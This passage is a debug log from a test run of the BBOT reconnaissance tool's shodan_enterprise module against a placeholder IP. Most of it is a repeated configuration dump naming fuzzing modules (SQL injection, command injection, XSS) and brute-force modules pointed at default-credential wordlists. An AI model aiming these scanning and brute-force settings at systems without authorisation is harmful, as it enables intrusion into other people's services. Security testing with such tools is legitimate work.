'SCAN:5afcfd8f3d4a4e6cf52ccea2dfe2bb0bcb065135', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 21:27:15,815 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) from TARGET +2026-02-27 21:27:15,816 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check +2026-02-27 21:27:15,816 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-02-27 21:27:15,817 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED +2026-02-27 21:27:15,817 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-02-27 21:27:15,817 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-02-27 21:27:15,818 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() +2026-02-27 21:27:15,818 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-02-27 21:27:15,819 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None +2026-02-27 21:27:15,819 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-02-27 21:27:15,919 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-02-27 21:27:15,919 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() +2026-02-27 21:27:15,933 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-02-27 21:27:15,935 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-02-27 21:27:15,935 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks +2026-02-27 21:27:15,941 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks +2026-02-27 21:27:15,942 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... +2026-02-27 21:27:15,942 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-02-27 21:27:15,943 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal +2026-02-27 21:27:15,944 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... +2026-02-27 21:27:15,945 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-02-27 21:27:16,068 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_ww2fvo6n1e completed in 0 seconds with status FINISHED +2026-02-27 21:27:16,069 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-02-27 21:27:16,070 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 21:27:16,071 [CRITICAL] bbot test_module_shodan_enterprise.py:19 SCAN +2026-02-27 21:27:16,072 [CRITICAL] bbot test_module_shodan_enterprise.py:21 {'id': 'SCAN:5afcfd8f3d4a4e6cf52ccea2dfe2bb0bcb065135', 'name': 'testshodan_enterprise_test_ww2fvo6n1e', 'target': {'seeds': ['1.2.3.4'], 'whitelist': ['1.2.3.4/32'], 'blacklist': [], 'strict_scope': False, 'hash': '87f0150c3e9449d043e2a8fddb8735cd115a9ebd', 'seed_hash': '09c35807ba47a82592ef88e5d6304ea699b8cbe2', 'whitelist_hash': '0f33b011938e6d3a37d684a39bb81b783e4a06c6', 'blacklist_hash': 'da39a3ee5e6b4b0d3255bfef95601890afd80709', 'scope_hash': '21e2b6c9a319c3a3040171b34ac91ce866c47eb9'}, 'preset': {'description': 'testshodan_enterprise_test_ww2fvo6n1e', 'config': {'home': '/tmp/.bbot_test', 'keep_scans': 20, 'status_frequency': 15, 'file_blobs': False, 'folder_blobs': False, 'scope': {'strict': False, 'report_distance': 0, 'search_distance': 0}, 'dns': {'disable': False, 'minimal': True, 'threads': 25, 'brute_threads': 1000, 'brute_nameservers': 'https://raw.githubusercontent.com/blacklanternsecurity/public-dns-servers/master/nameservers.txt', 'search_distance': 1, 'runaway_limit': 5, 'timeout': 1, 'retries': 1, 'wildcard_disable': False, 'wildcard_ignore': ['blacklanternsecurity.com', 'fakedomain', 'notreal', 'google', 'google.com', 'example.com', 'evilcorp.com', 'one'], 'wildcard_tests': 10, 'abort_threshold': 50, 'filter_ptrs': True, 'debug': False, 'omit_queries': ['SRV:mail.protection.outlook.com', 'CNAME:mail.protection.outlook.com', 'TXT:mail.protection.outlook.com']}, 'web': {'http_proxy': None, 'user_agent': 'BBOT Test User-Agent', 'spider_distance': 0, 'spider_depth': 1, 'spider_links_per_page': 25, 'http_timeout': 10, 'httpx_timeout': 5, 'http_headers': {'test': 'header'}, 'api_retries': 2, 'http_retries': 1, 'httpx_retries': 1, '429_sleep_interval': 30, '429_max_sleep_interval': 60, 'debug': False, 'http_max_redirects': 5, 'ssl_verify': False}, 'engine': {'debug': True}, 'deps': {'ffuf': {'version': '2.1.0'}, 'behavior': 'retry_failed'}, 'module_dirs': [], 'module_handle_event_timeout': 3600, 'module_handle_batch_timeout': 7200, 'speculate': False, 'excavate': False, 'aggregate': False, 'dnsresolve': True, 'cloudcheck': False, 'url_querystring_remove': True, 'url_querystring_collapse': True, 'url_extension_blacklist': ['png', 'jpg', 'bmp', 'ico', 'jpeg', 'gif', 'svg', 'webp', 'css', 'woff', 'woff2', 'ttf', 'eot', 'sass', 'scss', 'mp3', 'm4a', 'wav', 'flac', 'mp4', 'mkv', 'avi', 'wmv', 'mov', 'flv', 'webm'], 'url_extension_special': ['js'], 'url_extension_static': ['pdf', 'doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx', 'txt', 'csv', 'xml', 'yaml', 'ini', 'log', 'conf', 'cfg', 'env', 'md', 'rtf', 'tiff', 'bmp', 'jpg', 'jpeg', 'png', 'gif', 'svg', 'ico', 'mp3', 'wav', 'flac', 'mp4', 'mov', 'avi', 'mkv', 'webm', 'zip', 'tar', 'gz', 'bz2', '7z', 'rar'], 'parameter_blacklist': ['__VIEWSTATE', '__EVENTARGUMENT', '__EVENTVALIDATION', '__EVENTTARGET', '__EVENTARGUMENT', '__VIEWSTATEGENERATOR', '__SCROLLPOSITIONY', '__SCROLLPOSITIONX', 'ASP.NET_SessionId', 'PHPSESSID', '__cf_bm', 'f5_cspm'], 'parameter_blacklist_prefixes': ['TS01', 'BIGipServer', 'incap_', 'visid_incap_', 'AWSALB', 'utm_', 'ApplicationGatewayAffinity', 'JSESSIONID', 'ARRAffinity'], 'omit_event_types': [], 'interactsh_server': None, 'interactsh_disable': False, 'modules': {'massdns': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/deepmagic.com-prefixes-top500.txt'}, 'ffuf': {'prefix_busting': True, 'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-directories.txt', 'lines': 5000, 'max_depth': 0, 'extensions': '', 'ignore_case': False, 'rate': 0}, 'http': {'url': '', 'bearer': '', 'method': 'POST', 'timeout': 10, 'siem_friendly': False}, 'websocket': {'url': '', 'preserve_graph': True, 'ignore_ssl': False}, 'web_parameters': {'output_file': '', 'include_count': False}, 'discord': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'emails': {'output_file': ''}, 'teams': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'txt': {'output_file': ''}, 'neo4j': {'uri': 'bolt://localhost:7687'}, 'asset_inventory': {'output_file': '', 'use_previous': False, 'recheck': False, 'summary_netmask': 16}, 'sqlite': {'database': ''}, 'web_report': {'output_file': '', 'css_theme_file': 'https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css'}, 'csv': {'output_file': ''}, 'postgres': {'host': 'localhost', 'port': 5432, 'database': 'bbot'}, 'python': {}, 'subdomains': {'output_file': '', 'include_unresolved': False}, 'stdout': {'format': 'text', 'event_types': [], 'event_fields': [], 'in_scope_only': False, 'accept_dupes': True}, 'nmap_xml': {}, 'json': {'output_file': '', 'siem_friendly': False}, 'slack': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'splunk': {'url': '', 'index': '', 'source': '', 'timeout': 10}, 'mysql': {'host': 'localhost', 'port': 3306, 'database': 'bbot'}, 'lightfuzz': {'force_common_headers': False, 'enabled_submodules': ['sqli', 'cmdi', 'xss', 'path', 'ssti', 'crypto', 'serial', 'esi'], 'disable_post': False, 'try_post_as_get': False, 'try_get_as_post': False, 'avoid_wafs': True}, 'aggregate': {}, 'cloudcheck': {}, 'excavate': {'yara_max_match_data': 2000, 'custom_yara_rules': '', 'speculate_params': False}, 'speculate': {'max_hosts': 65536, 'ports': '80,443', 'essential_only': False}, 'unarchive': {}, 'dnsresolve': {}, 'asn': {}, 'affiliates': {}, 'legba': {'ssh_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt', 'ftp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt', 'telnet_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt', 'vnc_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/vnc-betterdefaultpasslist.txt', 'mssql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mssql-betterdefaultpasslist.txt', 'mysql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt', 'postgresql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/postgres-betterdefaultpasslist.txt', 'concurrency': 3, 'rate_limit': 3, 'version': '1.1.1'}, 'urlscan': {'urls': False}, 'jadx': {'threads': 4}, 'trufflehog': {'version': '3.90.8', 'config': '', 'only_verified': True, 'concurrency': 8, 'deleted_forks': False}, 'host_header': {}, 'securitytxt': {'emails': True, 'urls': True}, 'dnsdumpster': {}, 'bevigil': {'urls': False}, 'bucket_google': {'permutations': False}, 'git': {}, 'azure_realm': {}, 'extractous': {'extensions': ['bak', 'bash', 'bashrc', 'conf', 'cfg', 'crt', 'csv', 'db', 'sqlite', 'doc', 'docx', 'ica', 'indd', 'ini', 'json', 'key', 'pub', 'log', 'markdown', 'md', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'rdp', 'rsa', 'sh', 'sql', 'swp', 'sxw', 'txt', 'vbs', 'wpd', 'xls', 'xlsx', 'xml', 'yml', 'yaml']}, 'credshed': {'credshed_url': ''}, 'fullhunt': {}, 'social': {}, 'pgp': {'search_urls': ['https://keyserver.ubuntu.com/pks/lookup?fingerprint=on&op=vindex&search=', 'http://the.earth.li:11371/pks/lookup?fingerprint=on&op=vindex&search=', 'https://pgpkeys.eu/pks/lookup?search=&op=index', 'https://pgp.mit.edu/pks/lookup?search=&op=index']}, 'azure_tenant': {}, 'virustotal': {}, 'vhost': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'force_basehost': '', 'lines': 5000}, 'shodan_enterprise': {}, 'dnsbrute': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'max_depth': 5}, 'shodan_dns': {}, 'ip2location': {'lang': ''}, 'rapiddns': {}, 'wpscan': {'enumerate': 'vp,vt,cb,dbe', 'threads': 5, 'request_timeout': 5, 'connection_timeout': 2, 'disable_tls_checks': True, 'force': False}, 'dnscommonsrv': {'max_depth': 2}, 'passivetotal': {}, 'ntlm': {'try_all': False}, 'trickest': {}, 'google_playstore': {}, 'github_usersearch': {}, 'subdomainradar': {'group': 'fast', 'timeout': 120}, 'dockerhub': {}, 'medusa': {'snmp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/common-snmp-community-strings.txt', 'snmp_versions': ['1', '2C'], 'wait_microseconds': 200, 'timeout_s': 5, 'threads': 5}, 'digitorus': {}, 'wafw00f': {'generic_detect': True}, 'generic_ssrf': {'skip_dns_interaction': False}, 'filedownload': {'extensions': ['bak', 'bash', 'bashrc', 'cfg', 'conf', 'crt', 'csv', 'db', 'dll', 'doc', 'docx', 'exe', 'ica', 'indd', 'ini', 'jar', 'json', 'key', 'log', 'markdown', 'md', 'msi', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'pub', 'raw', 'rdp', 'rsa', 'sh', 'sql', 'sqlite', 'swp', 'sxw', 'tar.gz', 'tgz', 'tar', 'txt', 'vbs', 'war', 'wpd', 'xls', 'xlsx', 'xml', 'yaml', 'yml', 'zip', 'lzma', 'rar', '7z', 'xz', 'bz2'], 'max_filesize': '10MB', 'output_folder': ''}, 'chaos': {}, 'httpx': {'threads': 50, 'in_scope_only': True, 'version': '1.2.5', 'max_response_size': 5242880, 'store_responses': False, 'probe_all_ips': False}, 'baddns_zone': {'custom_nameservers': [], 'only_high_confidence': False}, 'graphql_introspection': {'graphql_endpoint_urls': ['/', '/graphql', '/v1/graphql'], 'output_folder': ''}, 'paramminer_headers': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'securitytrails': {}, 'bucket_microsoft': {'permutations': False}, 'viewdns': {}, 'url_manipulation': {'allow_redirects': True}, 'ffuf_shortnames': {'wordlist_extensions': '', 'max_depth': 1, 'version': '2.0.0', 'extensions': '', 'ignore_redirects': True, 'find_common_prefixes': False, 'find_delimiters': True, 'find_subwords': False, 'max_predictions': 250, 'rate': 0}, 'censys_ip': {'dns_names_limit': 100, 'in_scope_only': True}, 'builtwith': {'redirects': True}, 'certspotter': {}, 'sslcert': {'timeout': 5.0, 'skip_non_ssl': True}, 'gitdumper': {'output_folder': '', 'fuzz_tags': False, 'max_semanic_version': 10}, 'shodan_idb': {'retries': None}, 'hackertarget': {}, 'c99': {}, 'newsletters': {}, 'apkpure': {'output_folder': ''}, 'crt': {}, 'postman_download': {'output_folder': ''}, 'hunt': {}, 'dnsbrute_mutations': {'max_mutations': 100}, 'bucket_firebase': {'permutations': False}, 'nuclei': {'version': '3.7.0', 'tags': '', 'templates': '', 'severity': '', 'ratelimit': 150, 'concurrency': 25, 'mode': 'manual', 'etags': '', 'budget': 1, 'silent': False, 'directory_only': True, 'retries': 0, 'batch_size': 200, 'module_timeout': 21600}, 'censys_dns': {'max_pages': 5}, 'retirejs': {'version': '5.3.0', 'node_version': '18.19.1', 'severity': 'medium'}, 'git_clone': {'output_folder': ''}, 'bucket_amazon': {'permutations': False}, 'bucket_digitalocean': {'permutations': False}, 'skymem': {}, 'hunterio': {}, 'paramminer_cookies': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'postman': {}, 'code_repository': {}, 'gitlab_com': {}, 'dnstlsrpt': {'emit_emails': True, 'emit_raw_dns_records': False, 'emit_urls': True}, 'baddns': {'custom_nameservers': [], 'only_high_confidence': False, 'enabled_submodules': []}, 'subdomaincenter': {}, 'wayback': {'urls': False, 'garbage_threshold': 10}, 'ipstack': {}, 'emailformat': {}, 'fingerprintx': {'version': '1.1.4', 'skip_common_web': True}, 'dnscaa': {'in_scope_only': True, 'dns_names': True, 'emails': True, 'urls': True}, 'bypass403': {}, 'leakix': {}, 'paramminer_getparams': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'reflected_parameters': {}, 'crt_db': {}, 'bucket_file_enum': {'file_limit': 50}, 'portscan': {'top_ports': 100, 'ports': '', 'rate': 300, 'wait': 5, 'ping_first': False, 'ping_only': False, 'adapter': '', 'adapter_ip': '', 'adapter_mac': '', 'router_mac': '', 'module_timeout': 259200}, 'baddns_direct': {'custom_nameservers': []}, 'ajaxpro': {}, 'telerik': {'exploit_RAU_crypto': False, 'include_subdirs': False}, 'dnsbimi': {'emit_raw_dns_records': False, 'emit_urls': True, 'selectors': 'default,email,mail,bimi'}, 'aspnet_bin_exposure': {}, 'otx': {}, 'github_codesearch': {'limit': 100}, 'dehashed': {}, 'gowitness': {'version': '3.0.5', 'threads': 0, 'timeout': 10, 'resolution_x': 1440, 'resolution_y': 900, 'output_path': '', 'social': False, 'idle_timeout': 1800, 'chrome_path': ''}, 'docker_pull': {'all_tags': False, 'output_folder': ''}, 'ipneighbor': {'num_bits': 4}, 'bufferoverrun': {'commercial': False}, 'gitlab_onprem': {}, 'iis_shortnames': {'detect_only': True, 'max_node_count': 50, 'speculate_magic_urls': True}, 'badsecrets': {}, 'myssl': {}, 'github_workflows': {'num_logs': 1, 'output_folder': ''}, 'dotnetnuke': {}, 'smuggler': {}, 'robots': {'include_sitemap': False, 'include_allow': True, 'include_disallow': True}, 'anubisdb': {'limit': 1000}, 'oauth': {'try_all': False}, 'github_org': {'include_members': True, 'include_member_repos': False}, 'portfilter': {'cdn_tags': 'cdn-', 'allowed_cdn_ports': '80,443'}, 'sitedossier': {}}, 'agent_url': 'ws://127.0.0.1:8765', 'debug': True}, 'modules': ['shodan_enterprise'], 'output_modules': ['python'], 'scan_name': 'testshodan_enterprise_test_ww2fvo6n1e'}, 'started_at': '2026-02-27T21:27:15.310381', 'status': 'RUNNING'} +2026-02-27 21:27:16,074 [CRITICAL] bbot test_module_shodan_enterprise.py:23 set() +2026-02-27 21:27:16,075 [CRITICAL] bbot test_module_shodan_enterprise.py:25 SCAN("{'id': 'SCAN:5afcfd8f3d4a4e6cf52ccea2dfe2bb0bcb065135', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 21:27:16,076 [CRITICAL] bbot test_module_shodan_enterprise.py:19 IP_ADDRESS +2026-02-27 21:27:16,077 [CRITICAL] bbot test_module_shodan_enterprise.py:21 1.2.3.4 +2026-02-27 21:27:16,077 [CRITICAL] bbot test_module_shodan_enterprise.py:23 {'in-scope', 'ipv4', 'target'} +2026-02-27 21:27:16,078 [CRITICAL] bbot test_module_shodan_enterprise.py:25 SCAN("{'id': 'SCAN:5afcfd8f3d4a4e6cf52ccea2dfe2bb0bcb065135', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 21:27:16,079 [CRITICAL] bbot test_module_shodan_enterprise.py:19 SCAN +2026-02-27 21:27:16,080 [CRITICAL] bbot test_module_shodan_enterprise.py:21 {'id': 'SCAN:5afcfd8f3d4a4e6cf52ccea2dfe2bb0bcb065135', 'name': 'testshodan_enterprise_test_ww2fvo6n1e', 'target': {'seeds': ['1.2.3.4'], 'whitelist': ['1.2.3.4/32'], 'blacklist': [], 'strict_scope': False, 'hash': '87f0150c3e9449d043e2a8fddb8735cd115a9ebd', 'seed_hash': '09c35807ba47a82592ef88e5d6304ea699b8cbe2', 'whitelist_hash': '0f33b011938e6d3a37d684a39bb81b783e4a06c6', 'blacklist_hash': 'da39a3ee5e6b4b0d3255bfef95601890afd80709', 'scope_hash': '21e2b6c9a319c3a3040171b34ac91ce866c47eb9'}, 'preset': {'description': 'testshodan_enterprise_test_ww2fvo6n1e', 'config': {'home': '/tmp/.bbot_test', 'keep_scans': 20, 'status_frequency': 15, 'file_blobs': False, 'folder_blobs': False, 'scope': {'strict': False, 'report_distance': 0, 'search_distance': 0}, 'dns': {'disable': False, 'minimal': True, 'threads': 25, 'brute_threads': 1000, 'brute_nameservers': 'https://raw.githubusercontent.com/blacklanternsecurity/public-dns-servers/master/nameservers.txt', 'search_distance': 1, 'runaway_limit': 5, 'timeout': 1, 'retries': 1, 'wildcard_disable': False, 'wildcard_ignore': ['blacklanternsecurity.com', 'fakedomain', 'notreal', 'google', 'google.com', 'example.com', 'evilcorp.com', 'one'], 'wildcard_tests': 10, 'abort_threshold': 50, 'filter_ptrs': True, 'debug': False, 'omit_queries': ['SRV:mail.protection.outlook.com', 'CNAME:mail.protection.outlook.com', 'TXT:mail.protection.outlook.com']}, 'web': {'http_proxy': None, 'user_agent': 'BBOT Test User-Agent', 'spider_distance': 0, 'spider_depth': 1, 'spider_links_per_page': 25, 'http_timeout': 10, 'httpx_timeout': 5, 'http_headers': {'test': 'header'}, 'api_retries': 2, 'http_retries': 1, 'httpx_retries': 1, '429_sleep_interval': 30, '429_max_sleep_interval': 60, 'debug': False, 'http_max_redirects': 5, 'ssl_verify': False}, 'engine': {'debug': True}, 'deps': {'ffuf': {'version': '2.1.0'}, 'behavior': 'retry_failed'}, 'module_dirs': [], 'module_handle_event_timeout': 3600, 'module_handle_batch_timeout': 7200, 'speculate': False, 'excavate': False, 'aggregate': False, 'dnsresolve': True, 'cloudcheck': False, 'url_querystring_remove': True, 'url_querystring_collapse': True, 'url_extension_blacklist': ['png', 'jpg', 'bmp', 'ico', 'jpeg', 'gif', 'svg', 'webp', 'css', 'woff', 'woff2', 'ttf', 'eot', 'sass', 'scss', 'mp3', 'm4a', 'wav', 'flac', 'mp4', 'mkv', 'avi', 'wmv', 'mov', 'flv', 'webm'], 'url_extension_special': ['js'], 'url_extension_static': ['pdf', 'doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx', 'txt', 'csv', 'xml', 'yaml', 'ini', 'log', 'conf', 'cfg', 'env', 'md', 'rtf', 'tiff', 'bmp', 'jpg', 'jpeg', 'png', 'gif', 'svg', 'ico', 'mp3', 'wav', 'flac', 'mp4', 'mov', 'avi', 'mkv', 'webm', 'zip', 'tar', 'gz', 'bz2', '7z', 'rar'], 'parameter_blacklist': ['__VIEWSTATE', '__EVENTARGUMENT', '__EVENTVALIDATION', '__EVENTTARGET', '__EVENTARGUMENT', '__VIEWSTATEGENERATOR', '__SCROLLPOSITIONY', '__SCROLLPOSITIONX', 'ASP.NET_SessionId', 'PHPSESSID', '__cf_bm', 'f5_cspm'], 'parameter_blacklist_prefixes': ['TS01', 'BIGipServer', 'incap_', 'visid_incap_', 'AWSALB', 'utm_', 'ApplicationGatewayAffinity', 'JSESSIONID', 'ARRAffinity'], 'omit_event_types': [], 'interactsh_server': None, 'interactsh_disable': False, 'modules': {'massdns': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/deepmagic.com-prefixes-top500.txt'}, 'ffuf': {'prefix_busting': True, 'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-directories.txt', 'lines': 5000, 'max_depth': 0, 'extensions': '', 'ignore_case': False, 'rate': 0}, 'http': {'url': '', 'bearer': '', 'method': 'POST', 'timeout': 10, 'siem_friendly': False}, 'websocket': {'url': '', 'preserve_graph': True, 'ignore_ssl': False}, 'web_parameters': {'output_file': '', 'include_count': False}, 'discord': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'emails': {'output_file': ''}, 'teams': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'txt': {'output_file': ''}, 'neo4j': {'uri': 'bolt://localhost:7687'}, 'asset_inventory': {'output_file': '', 'use_previous': False, 'recheck': False, 'summary_netmask': 16}, 'sqlite': {'database': ''}, 'web_report': {'output_file': '', 'css_theme_file': 'https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css'}, 'csv': {'output_file': ''}, 'postgres': {'host': 'localhost', 'port': 5432, 'database': 'bbot'}, 'python': {}, 'subdomains': {'output_file': '', 'include_unresolved': False}, 'stdout': {'format': 'text', 'event_types': [], 'event_fields': [], 'in_scope_only': False, 'accept_dupes': True}, 'nmap_xml': {}, 'json': {'output_file': '', 'siem_friendly': False}, 'slack': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'splunk': {'url': '', 'index': '', 'source': '', 'timeout': 10}, 'mysql': {'host': 'localhost', 'port': 3306, 'database': 'bbot'}, 'lightfuzz': {'force_common_headers': False, 'enabled_submodules': ['sqli', 'cmdi', 'xss', 'path', 'ssti', 'crypto', 'serial', 'esi'], 'disable_post': False, 'try_post_as_get': False, 'try_get_as_post': False, 'avoid_wafs': True}, 'aggregate': {}, 'cloudcheck': {}, 'excavate': {'yara_max_match_data': 2000, 'custom_yara_rules': '', 'speculate_params': False}, 'speculate': {'max_hosts': 65536, 'ports': '80,443', 'essential_only': False}, 'unarchive': {}, 'dnsresolve': {}, 'asn': {}, 'affiliates': {}, 'legba': {'ssh_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt', 'ftp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt', 'telnet_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt', 'vnc_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/vnc-betterdefaultpasslist.txt', 'mssql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mssql-betterdefaultpasslist.txt', 'mysql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt', 'postgresql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/postgres-betterdefaultpasslist.txt', 'concurrency': 3, 'rate_limit': 3, 'version': '1.1.1'}, 'urlscan': {'urls': False}, 'jadx': {'threads': 4}, 'trufflehog': {'version': '3.90.8', 'config': '', 'only_verified': True, 'concurrency': 8, 'deleted_forks': False}, 'host_header': {}, 'securitytxt': {'emails': True, 'urls': True}, 'dnsdumpster': {}, 'bevigil': {'urls': False}, 'bucket_google': {'permutations': False}, 'git': {}, 'azure_realm': {}, 'extractous': {'extensions': ['bak', 'bash', 'bashrc', 'conf', 'cfg', 'crt', 'csv', 'db', 'sqlite', 'doc', 'docx', 'ica', 'indd', 'ini', 'json', 'key', 'pub', 'log', 'markdown', 'md', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'rdp', 'rsa', 'sh', 'sql', 'swp', 'sxw', 'txt', 'vbs', 'wpd', 'xls', 'xlsx', 'xml', 'yml', 'yaml']}, 'credshed': {'credshed_url': ''}, 'fullhunt': {}, 'social': {}, 'pgp': {'search_urls': ['https://keyserver.ubuntu.com/pks/lookup?fingerprint=on&op=vindex&search=', 'http://the.earth.li:11371/pks/lookup?fingerprint=on&op=vindex&search=', 'https://pgpkeys.eu/pks/lookup?search=&op=index', 'https://pgp.mit.edu/pks/lookup?search=&op=index']}, 'azure_tenant': {}, 'virustotal': {}, 'vhost': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'force_basehost': '', 'lines': 5000}, 'shodan_enterprise': {}, 'dnsbrute': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'max_depth': 5}, 'shodan_dns': {}, 'ip2location': {'lang': ''}, 'rapiddns': {}, 'wpscan': {'enumerate': 'vp,vt,cb,dbe', 'threads': 5, 'request_timeout': 5, 'connection_timeout': 2, 'disable_tls_checks': True, 'force': False}, 'dnscommonsrv': {'max_depth': 2}, 'passivetotal': {}, 'ntlm': {'try_all': False}, 'trickest': {}, 'google_playstore': {}, 'github_usersearch': {}, 'subdomainradar': {'group': 'fast', 'timeout': 120}, 'dockerhub': {}, 'medusa': {'snmp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/common-snmp-community-strings.txt', 'snmp_versions': ['1', '2C'], 'wait_microseconds': 200, 'timeout_s': 5, 'threads': 5}, 'digitorus': {}, 'wafw00f': {'generic_detect': True}, 'generic_ssrf': {'skip_dns_interaction': False}, 'filedownload': {'extensions': ['bak', 'bash', 'bashrc', 'cfg', 'conf', 'crt', 'csv', 'db', 'dll', 'doc', 'docx', 'exe', 'ica', 'indd', 'ini', 'jar', 'json', 'key', 'log', 'markdown', 'md', 'msi', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'pub', 'raw', 'rdp', 'rsa', 'sh', 'sql', 'sqlite', 'swp', 'sxw', 'tar.gz', 'tgz', 'tar', 'txt', 'vbs', 'war', 'wpd', 'xls', 'xlsx', 'xml', 'yaml', 'yml', 'zip', 'lzma', 'rar', '7z', 'xz', 'bz2'], 'max_filesize': '10MB', 'output_folder': ''}, 'chaos': {}, 'httpx': {'threads': 50, 'in_scope_only': True, 'version': '1.2.5', 'max_response_size': 5242880, 'store_responses': False, 'probe_all_ips': False}, 'baddns_zone': {'custom_nameservers': [], 'only_high_confidence': 